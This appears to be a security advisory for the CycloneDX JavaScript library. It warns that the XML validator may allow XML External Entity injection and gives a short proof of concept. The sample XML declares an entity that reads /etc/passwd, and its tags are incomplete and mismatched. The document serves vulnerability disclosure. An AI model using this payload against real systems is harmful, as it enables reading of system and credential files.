### Impact
XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.
#### POC
```js
const {
Spec: { Version },
Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');
const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
<!ENTITY xxe SYSTEM "file:///etc/passwd">

<component type="library">

<version>1.337</version>

<id>&xxe;</id><!-- << XML external entity (XXE) injection -->
</license>
</licenses>
</component>
</components>
</bom>`;
// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
console.error('validation error', ve);
});
```
